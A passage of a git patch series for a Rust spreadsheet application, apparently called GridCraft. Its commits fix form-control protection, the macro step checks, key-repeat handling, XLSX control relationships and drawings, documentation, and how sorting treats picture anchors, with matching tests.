"D8"})).unwrap()); + let free = id(&s.execute("insert.button", json!({"at": "D12"})).unwrap()); + s.execute("control.format", json!({"id": free, "locked": false})).unwrap(); + s.execute("review.protectSheet", json!({})).unwrap(); + let before = s.doc().unwrap().wb.clone(); + for (cmd, p) in [ + ("object.move", json!({"kind": "control", "id": locked, "at": "H9"})), + ("object.delete", json!({"kind": "control", "id": locked})), + ("object.setAnchorMode", json!({"kind": "control", "id": locked, "mode": "absolute"})), + ("arrange.bringForward", json!({"kind": "control", "id": locked, "toFront": true})), + ("arrange.sendBackward", json!({"kind": "control", "id": locked})), + ("arrange.align", json!({"kind": "control", "ids": [locked, other], "align": "left"})), + ] { + assert!(err(s.execute(cmd, p)).contains("protected"), "{cmd}"); + } + assert!(std::sync::Arc::ptr_eq(&s.doc().unwrap().wb, &before), "nothing changed"); + // An unlocked control still moves, as in Excel. + s.execute("object.move", json!({"kind": "control", "id": free, "at": "H12"})).unwrap(); + assert_eq!(control(&s, free).anchor.cell.a1(), "H12"); +} + #[test] fn a_locked_control_on_a_protected_sheet_cannot_be_changed() { let mut s = s(); From b8f04d7af9493190d7628e35d03a46e3c1fd6186 Mon Sep 17 00:00:00 2001 From: prxnvt <53838599+prxnvt@users.noreply.github.com> Date: Sat, 31 Oct 2026 16:36:53 -0400 Subject: [PATCH 027/167] Macros: the check of each step counts the form controls a step deletes The footprint counts a deleted form control as a conflict, but the check made as each step runs counted only charts, pictures and shapes. After a footprint that stopped early (at Solver, or an approved file step), a later step could delete a control with no question. It now counts controls too, so such a step stops the run under fail and asks under ask. --- crates/engine/src/macros/run.rs | 3 ++- crates/engine/src/tests/macros.rs | 25 +++++++++++++++++++++++++ 2 files changed, 27 insertions(+), 1 deletion(-) diff --git a/crates/engine/src/macros/run.rs b/crates/engine/src/macros/run.rs index 89e0cddca..2885d6673 100644 --- a/crates/engine/src/macros/run.rs +++ b/crates/engine/src/macros/run.rs @@ -539,7 +539,8 @@ impl Guard { } objects += deleted(&ss.charts, &ps.charts, &sa.charts, |o| o.id) + deleted(&ss.images, &ps.images, &sa.images, |o| o.id) - + deleted(&ss.shapes, &ps.shapes, &sa.shapes, |o| o.id); + + deleted(&ss.shapes, &ps.shapes, &sa.shapes, |o| o.id) + + deleted(&ss.controls, &ps.controls, &sa.controls, |o| o.id); } if objects > 0 { parts.push(format!("{objects} object{}", if objects == 1 { "" } else { "s" })); diff --git a/crates/engine/src/tests/macros.rs b/crates/engine/src/tests/macros.rs index fe983f97e..7030951ff 100644 --- a/crates/engine/src/tests/macros.rs +++ b/crates/engine/src/tests/macros.rs @@ -2489,3 +2489,28 @@ fn an_output_override_is_checked_and_protected_like_the_macros_own_anchor() { } assert!(Arc::ptr_eq(&s.doc().unwrap().wb, &before)); } + +/// After a partial footprint (Solver can't be previewed), a later step that deletes a form +/// control is caught by the check of each step, as one that deletes a chart or a picture is. +#[test] +fn a_step_that_deletes_a_form_control_after_a_partial_footprint_is_caught() { + let mut s = s(); + set(&mut s, "A1", "1"); + set(&mut s, "C1", "=A1"); + let control = s.execute("insert.spinButton", json!({"at": "E2"})).unwrap()["control"].as_u64().unwrap(); + let solver = json!({"command": "data.solver", "params": {"objective": "C1", "variables": "A1", "constraints": ["A1 <= 5"], "method": "simplex", "saveModel": false}}); + let delete = json!({"command": "object.delete", "params": {"kind": "control", "id": control}}); + put(&mut s, json!({"name": "Drop", "inputs": [{"name": "Input"}], "steps": [solver, delete]})); + let start = s.doc().unwrap().wb.clone(); + for rule in ["fail", "ask"] { + let r = s.execute("macro.run", json!({"name": "Drop", "inputs": "A1", "onConflict": rule})); + let e = match (rule, r) { + ("fail", Err(EngineError::Other(e))) | ("ask", Err(EngineError::Confirm(e))) => e, + (_, r) => panic!("{rule}: {r:?}"), + }; + assert!(e.contains("Step 2 (object.delete): It would write over data (1 object)"), "{e}"); + assert!(Arc::ptr_eq(&s.doc().unwrap().wb, &start), "{rule}: rolled back"); + } + s.execute("macro.run", json!({"name": "Drop", "inputs": "A1", "overwrite": true})).unwrap(); + assert!(s.doc().unwrap().wb.active().unwrap().controls.is_empty()); +} From e1fbee8ebc91022b7e1a9848906c7127b142579f Mon Sep 17 00:00:00 2001 From: prxnvt <53838599+prxnvt@users.noreply.github.com> Date: Sat, 31 Oct 2026 16:37:49 -0400 Subject: [PATCH 028/167] Form controls: holding Enter or Space presses a focused button once The focused control took every pressed key event, the system's key repeats included, so holding Enter or Space on a focused button ran its macro or command again for each repeat. A repeat now still belongs to the button (it doesn't reach the grid) but doesn't press it; arrows, Page Up and Page Down held on a slider or spin button keep stepping. --- crates/ui-egui/src/form_controls.rs | 9 ++++++--- crates/ui-egui/src/grid/keyboard.rs | 4 +++- crates/ui-egui/tests/it/form_controls.rs | 23 +++++++++++++++++++++++ 3 files changed, 32 insertions(+), 4 deletions(-) diff --git a/crates/ui-egui/src/form_controls.rs b/crates/ui-egui/src/form_controls.rs index c4fff919a..fb6d41c03 100644 --- a/crates/ui-egui/src/form_controls.rs +++ b/crates/ui-egui/src/form_controls.rs @@ -357,8 +357,9 @@ fn step_part(app: &mut SheetApp, c: &FormControl, part: Part) { } /// Keys for the focused control: arrows move by a step, Page Up and Page Down by a page, Home and -/// End to the ends; Space or Enter presses a button. True when the key was used. -pub fn key(app: &mut SheetApp, sh: &Sheet, key: egui::Key) -> bool { +/// End to the ends; Space or Enter presses a button. True when the key was used. `repeat` is a key +/// held down: it steps a slider or spin button again, but a button runs once per press. +pub fn key(app: &mut SheetApp, sh: &Sheet, key: egui::Key, repeat: bool) -> bool { use egui::Key; let Some(c) = app.grid.focused_control.and_then(|id| find(sh, id)).cloned() else { return false }; if app.selected_object.is_some() { @@ -370,7 +371,9 @@ pub fn key(app: &mut SheetApp, sh: &Sheet, key: egui::Key) -> bool { true } (ControlKind::Button, Key::Space | Key::Enter) => { - app.press_button(c.id); + if !repeat { + app.press_button(c.id); + } true } (ControlKind::Button, _) => false, diff --git a/crates/ui-egui/src/grid/keyboard.rs b/crates/ui-egui/src/grid/keyboard.rs index f2d571bb3..81f4b432f 100644 --- a/crates/ui-egui/src/grid/keyboard.rs +++ b/crates/ui-egui/src/grid/keyboard.rs @@ -170,7 +170,9 @@ fn grid_events(app: &mut SheetApp, ctx: &egui::Context, sh: &Sheet) -> Vec bool { match ev { egui::Event::Text(text) => text == " " && app.grid.focused_control.is_some() && app.selected_object.is_none(), - egui::Event::Key { key, pressed: true, modifiers: m, .. } => !m.command && !m.ctrl && !m.alt && crate::form_controls::key(app, sh, *key), + egui::Event::Key { key, pressed: true, repeat, modifiers: m, .. } => { + !m.command && !m.ctrl && !m.alt && crate::form_controls::key(app, sh, *key, *repeat) + } _ => false, } } diff --git a/crates/ui-egui/tests/it/form_controls.rs b/crates/ui-egui/tests/it/form_controls.rs index 79823f62c..09b57c4a8 100644 --- a/crates/ui-egui/tests/it/form_controls.rs +++ b/crates/ui-egui/tests/it/form_controls.rs @@ -241,6 +241,29 @@ fn a_button_runs_its_macro_and_cmd_or_right_click_only_selects() { assert_eq!(cell(&h, "H1"), Value::Empty); } +#[test] +fn holding_enter_or_space_presses_a_focused_button_once() { + let (mut h, ids) = fixture(); + let r = rect(&h, ids.button); + click(&mut h, r.center()); + assert_eq!(h.state().grid.focused_control, Some(ids.button)); + for k in [Key::Enter, Key::Space] { + let before = undo_len(&h); + // A held key: one press, then the system's repeats, then the release. + h.input_mut().events.push(Event::Key { key: k, physical_key: None, pressed: true, repeat: false, modifiers: Modifiers::NONE }); + h.run_steps(1); + for _ in 0..5 { + h.input_mut().events.push(Event::Key { key: k, physical_key: None, pressed: true, repeat: true, modifiers: Modifiers::NONE }); + h.run_steps(1); + } + h.input_mut().events.push(Event::Key { key: k, physical_key: None, pressed: false, repeat: false, modifiers: Modifiers::NONE }); + h.run_steps(2); + assert_eq!(undo_len(&h), before + 1, "{k:?} ran the macro once"); + assert_eq!(cell(&h, "H1"), Value::text("pressed")); + assert_eq!(cell(&h, "A20"), Value::Empty, "{k:?} typed nothing into the cell"); + } +} + #[test] fn a_button_from_a_file_asks_before_it_runs() { use egui_kittest::kittest::Queryable as _; From 85c22dd27bb46dbd3a7e3dae9c12c44fe0875fd2 Mon Sep 17 00:00:00 2001 From: prxnvt <53838599+prxnvt@users.noreply.github.com> Date: Sat, 31 Oct 2026 16:38:18 -0400 Subject: [PATCH 029/167] XLSX: control properties parts use the ctrlProp relationship type Excel uses The sheet related each control properties part with http://schemas.microsoft.com/office/2006/relationships/ctrlProp. MS-XLSX defines the relationship in the officeDocument namespace, http://schemas.openxmlformats.org/officeDocument/2006/relationships/ctrlProp, which Excel writes and looks the part up by. GridCraft's own reader matched either (it goes by the last segment and the r:id), so its round trips passed; Excel would not have found the parts. --- crates/xlsx/src/controls.rs | 3 ++- crates/xlsx/src/tests/controls_tests.rs | 12 ++++++++++++ 2 files changed, 14 insertions(+), 1 deletion(-) diff --git a/crates/xlsx/src/controls.rs b/crates/xlsx/src/controls.rs index 37765dd19..0a3d57bf3 100644 --- a/crates/xlsx/src/controls.rs +++ b/crates/xlsx/src/controls.rs @@ -25,7 +25,8 @@ use crate::write::{Out, Rels}; use crate::xml::{El, esc, esc_attr}; pub const CT_CTRL_PROP: &str = "application/vnd.ms-excel.controlproperties+xml"; -pub const REL_CTRL_PROP: &str = "http://schemas.microsoft.com/office/2006/relationships/ctrlProp"; +/// The worksheet relationship to a control properties part (MS-XLSX), as Excel writes it. +pub const REL_CTRL_PROP: &str = "http://schemas.openxmlformats.org/officeDocument/2006/relationships/ctrlProp"; const NS_X14: &str = "http://schemas.microsoft.com/office/spreadsheetml/2009/9/main"; const NS_MC: &str = "http://schemas.openxmlformats.org/markup-compatibility/2006"; const NS_XDR: &str = "http://schemas.openxmlformats.org/drawingml/2006/spreadsheetDrawing"; diff --git a/crates/xlsx/src/tests/controls_tests.rs b/crates/xlsx/src/tests/controls_tests.rs index 8825e040a..f94be0e3a 100644 --- a/crates/xlsx/src/tests/controls_tests.rs +++ b/crates/xlsx/src/tests/controls_tests.rs @@ -303,3 +303,15 @@ fn many_listed_controls_read_in_linear_time() { // About 0.4 s here; scanning every shape for every control took over 8 s. assert!(took < std::time::Duration::from_secs(3), "{took:?}"); } + +/// The sheet relates each control properties part with the relationship type MS-XLSX defines and +/// Excel writes (in the officeDocument namespace); Excel finds the part by that type. +#[test] +fn the_properties_parts_use_the_ctrl_prop_relationship_type() { + let bytes = write_xlsx(&book()).unwrap(); + let mut pkg = Package::open(&bytes).unwrap(); + let rels = text(&mut pkg, "xl/worksheets/_rels/sheet1.xml.rels"); + let types: Vec<&str> = rels.split("Type=\"").skip(1).filter_map(|r| r.split('"').next()).filter(|t| t.ends_with("/ctrlProp")).collect(); + assert_eq!(types.len(), 4, "{rels}"); + assert!(types.iter().all(|t| *t == "http://schemas.openxmlformats.org/officeDocument/2006/relationships/ctrlProp"), "{types:?}"); +} From dd97b29dec2bd1d0d8554de74322d7b8a56e0d4b Mon Sep 17 00:00:00 2001 From: prxnvt <53838599+prxnvt@users.noreply.github.com> Date: Sat, 31 Oct 2026 16:39:08 -0400 Subject: [PATCH 030/167] XLSX: form controls are read from the drawing names The reader took the sheet's first VML drawing relationship. A sheet with pictures in its header or footer has a second VML drawing (), and when that relationship came first the control shapes were not found: VML-only controls were skipped, and listed controls lost their caption and macro. The drawing is now the one names, as pass-through already does. --- crates/xlsx/src/controls.rs | 5 +++-- crates/xlsx/src/sheet_read.rs | 16 +++++++++------- crates/xlsx/src/tests/controls_tests.rs | 18 ++++++++++++++++++ 3 files changed, 30 insertions(+), 9 deletions(-) diff --git a/crates/xlsx/src/controls.rs b/crates/xlsx/src/controls.rs index 0a3d57bf3..e45c98fe3 100644 --- a/crates/xlsx/src/controls.rs +++ b/crates/xlsx/src/controls.rs @@ -397,10 +397,11 @@ fn number_of(shape: &El) -> Option { /// Reads a sheet's buttons, scroll bars and spin buttons: each `` with its properties /// part, else its VML shape, and VML shapes the sheet doesn't list (files that only have VML). +/// The shapes come from the VML drawing with relationship id `vml_rid` (``). /// Returns the shape numbers of the controls it read, so pass-through keeps only the others. -pub fn read(cx: &mut Ctx<'_>, controls: Option<&El>, rels: &[Rel], sheet: &mut Sheet) -> HashSet { +pub fn read(cx: &mut Ctx<'_>, controls: Option<&El>, vml_rid: Option<&str>, rels: &[Rel], sheet: &mut Sheet) -> HashSet { let mut read = HashSet::new(); - let vml = match rels.iter().find(|r| r.kind == "vmlDrawing") { + let vml = match vml_rid.and_then(|id| rels.iter().find(|r| r.id == id && r.kind == "vmlDrawing")) { Some(r) => cx.pkg.read_xml(&r.target).ok().flatten(), None => None, }; diff --git a/crates/xlsx/src/sheet_read.rs b/crates/xlsx/src/sheet_read.rs index f2f7de668..1cf875524 100644 --- a/crates/xlsx/src/sheet_read.rs +++ b/crates/xlsx/src/sheet_read.rs @@ -141,7 +141,6 @@ pub fn read_sheet(cx: &mut Ctx<'_>, part: &str, name: &str) -> Result<(Sheet, Ha let mut fit_to_page = false; let mut column_assignments_left = MAX_COLUMN_ASSIGNMENTS; cx.cf_ext_ids.clear(); - let mut controls: Option<&El> = None; for e in &root.children { match e.name.as_str() { "sheetPr" => { @@ -263,12 +262,11 @@ pub fn read_sheet(cx: &mut Ctx<'_>, part: &str, name: &str) -> Result<(Sheet, Ha } } "extLst" => read_ext(cx, e, &mut sheet), - "controls" | "AlternateContent" => controls = crate::controls::controls_of(e).or(controls), "protectedRanges" => read_protected_ranges(e, &mut sheet), _ => {} } } - let read_controls = read_form_controls(cx, controls, &rels, &mut sheet); + let read_controls = read_form_controls(cx, &root, &rels, &mut sheet); // Comments are related to the sheet without an element in it. for rel in rels.iter().filter(|r| r.kind == "comments") { if let Some(x) = cx.optional_xml(&rel.target)? { @@ -293,10 +291,14 @@ pub fn read_sheet(cx: &mut Ctx<'_>, part: &str, name: &str) -> Result<(Sheet, Ha Ok((sheet, read_controls)) } -/// Buttons, scroll bars and spin buttons: the `` list with its properties parts, else -/// the VML shapes. Returns the VML shape numbers read, so pass-through keeps only the others. -fn read_form_controls(cx: &mut Ctx<'_>, controls: Option<&El>, rels: &[Rel], sheet: &mut Sheet) -> HashSet { - if controls.is_some() || rels.iter().any(|r| r.kind == "vmlDrawing") { crate::controls::read(cx, controls, rels, sheet) } else { HashSet::new() } +/// Buttons, scroll bars and spin buttons: the `` list (also inside +/// `mc:AlternateContent`) with its properties parts, else the shapes of the VML drawing that +/// `` names (not the header and footer drawing of ``). +/// Returns the VML shape numbers read, so pass-through keeps only the others. +fn read_form_controls(cx: &mut Ctx<'_>, root: &El, rels: &[Rel], sheet: &mut Sheet) -> HashSet { + let controls = root.children.iter().filter_map(crate::controls::controls_of).next_back(); + let vml = root.child("legacyDrawing").and_then(|e| e.attr("id")); + if controls.is_some() || vml.is_some() { crate::controls::read(cx, controls, vml, rels, sheet) } else { HashSet::new() } } /// A protection password hash: the iterated attributes (`algorithmName`, `hashValue`, diff --git a/crates/xlsx/src/tests/controls_tests.rs b/crates/xlsx/src/tests/controls_tests.rs index f94be0e3a..b58d1f200 100644 --- a/crates/xlsx/src/tests/controls_tests.rs +++ b/crates/xlsx/src/tests/controls_tests.rs @@ -315,3 +315,21 @@ fn the_properties_parts_use_the_ctrl_prop_relationship_type() { assert_eq!(types.len(), 4, "{rels}"); assert!(types.iter().all(|t| *t == "http://schemas.openxmlformats.org/officeDocument/2006/relationships/ctrlProp"), "{types:?}"); } + +/// A sheet with a header and footer drawing and a drawing for its controls: the controls come +/// from the drawing `` names, whichever relationship is listed first. +#[test] +fn controls_come_from_the_legacy_drawing_not_the_header_and_footer_drawing() { + let hf = r##""##; + let rels = r#""#; + let bytes = minimal( + r#""#, + &[("xl/worksheets/_rels/sheet1.xml.rels", rels), ("xl/drawings/vmlDrawingHF1.vml", hf), ("xl/drawings/vmlDrawing1.vml", VML_ONLY)], + "", + "", + ); + let (wb, _) = read_xlsx(&bytes).unwrap(); + let c = &wb.sheet(0).unwrap().controls; + assert_eq!(c.len(), 3, "{c:?}"); + assert_eq!(c[2].text, "Go"); +} From 10de76e6c73c6e32199182c7f7c82e574e1a41da Mon Sep 17 00:00:00 2001 From: prxnvt <53838599+prxnvt@users.noreply.github.com> Date: Sat, 31 Oct 2026 21:18:55 -0400 Subject: [PATCH 031/167] Docs: macro.check's signature in macros.md lists output The Running section says macro.check takes `output`, but the macro.check signature further down left it out. It now lists `output?`, and says the reported output anchor is `output` when given. --- docs/macros.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/docs/macros.md b/docs/macros.md index 9a4b32859..7e428b4d1 100644 --- a/docs/macros.md +++ b/docs/macros.md @@ -144,9 +144,9 @@ doesn't exist, a cell outside the grid), is refused before anything runs: do; a step that deletes one of them, or changes the size of a range a Repeat is going over, stops the run. -`macro.check {name, inputs?, onConflict?, overwrite?, timeLimit?}` reports the bound inputs, the -output anchor, any approval needed and the footprint, and puts back everything the dry run -changed. `ok` says whether `macro.run` with the same parameters would go ahead without a question; +`macro.check {name, inputs?, output?, onConflict?, overwrite?, timeLimit?}` reports the bound +inputs, the output anchor (`output` when given), any approval needed and the footprint, and puts +back everything the dry run changed. `ok` says whether `macro.run` with the same parameters would go ahead without a question; when it wouldn't, `errors` says why: the run would fail at a step, a Stop step rolls it back, it would write over data under `ask` or `fail`, shifting can't make room (the check shifts and checks again, then puts everything back), or the run would go past From 2b787b191299415fc061b642a1158e6b7519354f Mon Sep 17 00:00:00 2001 From: prxnvt <53838599+prxnvt@users.noreply.github.com> Date: Sat, 31 Oct 2026 22:23:56 -0400 Subject: [PATCH 032/167] Docs: ui.object.select says what it replies when it clears the selection --- docs/control-protocol.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/control-protocol.md b/docs/control-protocol.md index bbe00c51f..b5822da64 100644 --- a/docs/control-protocol.md +++ b/docs/control-protocol.md @@ -59,7 +59,7 @@ connection; nothing sent after it runs. Blank lines are skipped. | `sheet.read` | `{range?, sheet?, formulas?, formatted?}` | Values (or formulas / displayed text) of a range | | `cell.get` | `{cell?}` | One cell: value, formula, displayed text, style, merge, comment, link | | `ui.inspect` | | UI state: ribbon tab, editor, open dialog, Backstage page, message, selected object, grid rect, scroll, perf, `windows` (as `window.list`) and `activeWindow` | -| `ui.object.select` | `{id?, kind?}` | Selects a floating object on the active sheet (no `id` clears the selection); replies `{selected, rect}`, the rect in window points | +| `ui.object.select` | `{id?, kind?}` | Selects a floating object on the active sheet and replies `{selected, rect}`, the rect in window points; with no `id` it clears the selection and replies `null` | | `ui.click` / `ui.drag` / `ui.move` | `{x, y, toX?, toY?, button?, count?, shift?, cmd?, alt?}` | Real pointer input in window points; refused with an error if it would leave more than 10,000 synthetic events or 8 MiB of synthetic input queued (pointer, key, text and move events share this budget) | | `ui.cell.click` / `ui.cell.drag` | `{cell}` / `{from, to}` | Pointer input at a cell's centre (works in point mode while editing); same shared queue limits | | `ui.key` / `ui.text` | `{key, shift?, cmd?, alt?, ctrl?}` / `{text}` | Keyboard input (typing in the grid starts editing); same shared queue limits, and one `ui.text` string may be at most 1 MiB | From b874f58667be88a5dbaf46ad58319ba574c73f0c Mon Sep 17 00:00:00 2001 From: prxnvt <53838599+prxnvt@users.noreply.github.com> Date: Sun, 1 Nov 2026 16:38:23 -0500 Subject: [PATCH 033/167] Objects: a test pins that both anchor accessors visit the same objects in the same order Sorting and row or column edits read every anchor through `object_anchors`, compute the new ones and write them back through `object_anchors_mut` in step. Nothing checked that the two accessors visit the same objects in the same order; a kind of floating object reaching only one of them would have paired objects with other objects' anchors silently. Test: two objects of every kind are inserted in a mixed order, each anchor is marked with its position through the mutable accessor, the marks are read back through the shared one in the same sequence, the count matches the per-kind collections, and the mark is found on the object `object_anchor` names by kind and id. The test's constructor matches on `ObjKind` exhaustively, so a new kind does not compile until the test covers it. --- crates/model/src/sheet.rs | 87 +++++++++++++++++++++++++++++++++++++++ 1 file changed, 87 insertions(+) diff --git a/crates/model/src/sheet.rs b/crates/model/src/sheet.rs index d442a5340..9956500d0 100644 --- a/crates/model/src/sheet.rs +++ b/crates/model/src/sheet.rs @@ -701,6 +701,93 @@ mod tests { assert_eq!(s.col_at(-5.0), 0); assert_eq!(s.col_left(2), 128.0); } + + use crate::features::{ChartKind, LegendPos, ShapeFormat, ShapeKind}; + + /// Adds a floating object of `kind` with id `id` at `anchor`. The match is exhaustive on + /// purpose: a new kind of floating object does not compile here until this test covers it, + /// and the counts in `object_anchor_accessors_visit_the_same_objects_in_the_same_order` + /// then catch an accessor that was not taught about it. + fn push_object(s: &mut Sheet, kind: ObjKind, id: u32, anchor: Anchor) { + match kind { + ObjKind::Chart => s.charts.push(Chart { + id, + kind: ChartKind::default(), + anchor, + title: None, + series: vec![], + legend: LegendPos::default(), + data_labels: false, + gridlines: false, + style: 0, + x_title: None, + y_title: None, + source: None, + by_rows: false, + pivot: None, + }), + ObjKind::Image => s.images.push(Image { id, anchor, data: Arc::new(vec![]), mime: String::new(), alt: String::new() }), + ObjKind::Shape => s.shapes.push(Shape { + id, + kind: ShapeKind::default(), + anchor, + fill: Color::default(), + line: Color::default(), + text: String::new(), + format: ShapeFormat::default(), + }), + ObjKind::Slicer => { + s.slicers.push(Slicer { id, table: String::new(), column: String::new(), caption: String::new(), anchor, selected: None, columns: 1 }) + } + } + } + + /// Sorting, and inserting or deleting rows and columns, read every anchor through + /// `object_anchors`, compute the new ones and write them back through `object_anchors_mut` + /// in step. The two must visit the same objects in the same order, or an object receives + /// another object's anchor; a kind that reaches only one of them would break that silently. + #[test] + fn object_anchor_accessors_visit_the_same_objects_in_the_same_order() { + let mut s = Sheet::new("S"); + // Two objects of every kind, inserted in a mixed order, with ids unrelated to the kind. + // Each anchor cell's row carries the id, so an anchor read back names its object. + let inserted = [ + (ObjKind::Slicer, 7), + (ObjKind::Chart, 3), + (ObjKind::Image, 11), + (ObjKind::Shape, 2), + (ObjKind::Chart, 9), + (ObjKind::Slicer, 1), + (ObjKind::Image, 4), + (ObjKind::Shape, 12), + ]; + for &(kind, id) in &inserted { + push_object(&mut s, kind, id, Anchor { cell: CellRef::new(id, 0), ..Default::default() }); + } + let per_kind = s.charts.len() + s.images.len() + s.shapes.len() + s.slicers.len(); + assert_eq!(per_kind, inserted.len()); + assert_eq!(s.object_anchors().count(), per_kind, "object_anchors visits every collection"); + assert_eq!(s.object_anchors_mut().count(), per_kind, "object_anchors_mut visits every collection"); + // Mark each anchor with its position through the mutable accessor; the shared accessor + // reads the marks back in the same sequence. + for (i, a) in s.object_anchors_mut().enumerate() { + a.dx = i as f32; + } + let marks: Vec = s.object_anchors().map(|a| a.dx).collect(); + assert_eq!(marks, (0..per_kind).map(|i| i as f32).collect::>()); + // The sequence is the documented one (charts, images, shapes, slicers, each in insertion + // order) and every object appears in it once. + let documented: Vec = + ObjKind::ALL.iter().flat_map(|&k| inserted.iter().filter(move |(kind, _)| *kind == k).map(|&(_, id)| id)).collect(); + let visited: Vec = s.object_anchors().map(|a| a.cell.row).collect(); + assert_eq!(visited, documented); + // The mark written through the bulk accessor landed on the object `object_anchor` finds + // by kind and id. + for &(kind, id) in &inserted { + let position = documented.iter().position(|&x| x == id).map(|p| p as f32); + assert_eq!(s.object_anchor(ObjRef::new(kind, id)).map(|a| a.dx), position, "{kind:?} {id}"); + } + } } // CellRef is a struct, so encode the sparse map as entries for JSON as well as other formats. From df98e9cef9faaaf1ae7b6095e74e1b8ee514aaec Mon Sep 17 00:00:00 2001 From: prxnvt <53838599+prxnvt@users.noreply.github.com> Date: Sun, 1 Nov 2026 16:38:23 -0500 Subject: [PATCH 034/167] Objects: sorting keeps the size of a "move and size" picture whose lines swap places A picture anchored to move and size with cells and spanning two rows (or columns) was re-fitted between its top-left and bottom-right lines after a sort. When the sort put the bottom line above the top one, the fitted extent was negative and the picture collapsed to a zero height or width. It now keeps its old size on that axis and travels with its top-left line, like a "move only" picture. Tests: for a sort by rows and one by columns, "move and size" and "move only" pictures inside one line travel with it (the first re-fitted to the same line, the second at its own size), an absolute picture stays while the cells move under it, a two-line picture whose lines swap keeps its size, and undo restores every anchor. --- crates/engine/src/cmd/data/sort.rs | 9 +++- crates/engine/src/tests/objects.rs | 76 +++++++++++++++++++++++++++++- 2 files changed, 82 insertions(+), 3 deletions(-) diff --git a/crates/engine/src/cmd/data/sort.rs b/crates/engine/src/cmd/data/sort.rs index d335a7695..491e3d51e 100644 --- a/crates/engine/src/cmd/data/sort.rs +++ b/crates/engine/src/cmd/data/sort.rs @@ -272,7 +272,9 @@ fn do_sort(s: &mut Session, sheet: usize, r: RangeRef, header: bool, keys: Vec Anchor { if a.mode == AnchorMode::Absolute { return a; @@ -290,7 +292,10 @@ fn sorted_anchor(sh: &Sheet, a: Anchor, bottom: (u32, u32, f32, f32), by_cols: b let y1 = sh.row_top(nr) + a.dy as f64; let x2 = sh.col_left(nbc) + tdx as f64; let y2 = sh.row_top(nbr) + tdy as f64; - Anchor { cell: CellRef::new(nr, nc), dx: a.dx, dy: a.dy, width: (x2 - x1).max(0.0) as f32, height: (y2 - y1).max(0.0) as f32, mode: a.mode } + // An extent that is not positive means the sort put the bottom-right line before the + // top-left one on that axis: the object keeps its old size there. + let fit = |extent: f64, old: f32| if extent > 0.0 { extent as f32 } else { old.max(0.0) }; + Anchor { cell: CellRef::new(nr, nc), dx: a.dx, dy: a.dy, width: fit(x2 - x1, a.width), height: fit(y2 - y1, a.height), mode: a.mode } } else { Anchor { cell: CellRef::new(nr, nc), ..a } } diff --git a/crates/engine/src/tests/objects.rs b/crates/engine/src/tests/objects.rs index 7082b9054..c39b14e11 100644 --- a/crates/engine/src/tests/objects.rs +++ b/crates/engine/src/tests/objects.rs @@ -1,7 +1,7 @@ //! Floating objects of every kind: found, moved, listed, stacked and deleted by `{kind, id}`. use gridcraft_core::CellRef; -use gridcraft_model::{AnchorMode, ObjKind, ObjRef, Sheet}; +use gridcraft_model::{Anchor, AnchorMode, ObjKind, ObjRef, Sheet}; use serde_json::json; use super::s; @@ -133,6 +133,80 @@ fn every_kind_follows_row_and_column_edits_and_sorts() { assert_eq!(cell_of(&s, pic), "T2"); } +/// A picture at `cell` with anchor `mode`, offset `(dx, dy)` and size `(width, height)`, added +/// straight to the model like `add_image`, so a sort that follows is the only step to undo. +fn picture(s: &mut Session, cell: &str, mode: AnchorMode, dx: f32, dy: f32, width: f32, height: f32) -> ObjRef { + let id = super::add_image(s, cell, mode); + let wb = std::sync::Arc::make_mut(&mut s.doc_mut().unwrap().wb); + if let Some(img) = wb.sheet_mut(0).unwrap().images.iter_mut().find(|i| i.id == id) { + img.anchor = Anchor { dx, dy, width, height, ..img.anchor }; + } + ObjRef::new(ObjKind::Image, id) +} + +/// The anchor of `o` as (cell, dx, dy, width, height). +fn anchor_of(s: &Session, o: ObjRef) -> (String, f32, f32, f32, f32) { + let a = sheet(s, 0).object_anchor(o).unwrap(); + (a.cell.a1(), a.dx, a.dy, a.width, a.height) +} + +/// Sorting rows under a picture follows its anchor mode, as Excel's "Move and size with cells", +/// "Move but don't size with cells" and "Don't move or size with cells" do. +#[test] +fn sorting_rows_under_a_picture_follows_its_anchor_mode() { + let mut s = s(); + // Rows 2..5 hold 3, 1, 4, 2; sorted ascending they read 1, 2, 3, 4, so row 2 moves to row 4, + // row 3 to row 2, row 4 to row 5 and row 5 to row 3. Default rows are 20 pt tall. + s.execute("range.setValues", json!({"range": "A1", "values": [["k"], [3], [1], [4], [2]]})).unwrap(); + // Three pictures inside one row each (3 pt down, 12 pt tall), one per anchor mode. + let sized = picture(&mut s, "A2", AnchorMode::MoveAndSize, 5.0, 3.0, 30.0, 12.0); + let moved = picture(&mut s, "A3", AnchorMode::MoveOnly, 5.0, 3.0, 30.0, 12.0); + let pinned = picture(&mut s, "A4", AnchorMode::Absolute, 5.0, 3.0, 30.0, 12.0); + // A "move and size" picture spanning rows 2 and 3: its top is 10 pt into row 2 (y 30) and + // its bottom 15 pt into row 3 (y 55). The sort puts row 3 above row 2. + let tall = picture(&mut s, "A2", AnchorMode::MoveAndSize, 5.0, 10.0, 30.0, 25.0); + let before: Vec<_> = [sized, moved, pinned, tall].iter().map(|&o| anchor_of(&s, o)).collect(); + s.execute("selection.set", json!({"range": "A1:A5"})).unwrap(); + s.execute("data.sortAscending", json!({"header": true, "column": "A"})).unwrap(); + assert_eq!( + anchor_of(&s, sized), + ("A4".into(), 5.0, 3.0, 30.0, 12.0), + "move and size: travels with row 2 to row 4, re-fitted to the same 20 pt row" + ); + assert_eq!(anchor_of(&s, moved), ("A2".into(), 5.0, 3.0, 30.0, 12.0), "move only: travels with row 3 to row 2 at its own size"); + assert_eq!(anchor_of(&s, pinned), ("A4".into(), 5.0, 3.0, 30.0, 12.0), "absolute: stays while the cells move under it"); + // The tall picture's bottom row now sorts above its top row, so there is nothing to stretch + // it between: it travels with its top-left row and keeps its size instead of collapsing. + assert_eq!(anchor_of(&s, tall), ("A4".into(), 5.0, 10.0, 30.0, 25.0), "two rows swapped: moves with its top row at its old size"); + s.execute("edit.undo", json!({})).unwrap(); + let after: Vec<_> = [sized, moved, pinned, tall].iter().map(|&o| anchor_of(&s, o)).collect(); + assert_eq!(after, before, "undo restores every anchor"); +} + +/// A sort by columns follows the anchor mode the same way. +#[test] +fn sorting_columns_under_a_picture_follows_its_anchor_mode() { + let mut s = s(); + // Row 10 holds a header in A and 3, 1, 2 in B..D; sorted ascending, column B moves to D, + // C to B and D to C. Default columns are 64 pt wide. + s.execute("range.setValues", json!({"range": "A10", "values": [["k", 3, 1, 2]]})).unwrap(); + let sized = picture(&mut s, "B10", AnchorMode::MoveAndSize, 5.0, 3.0, 30.0, 12.0); + let moved = 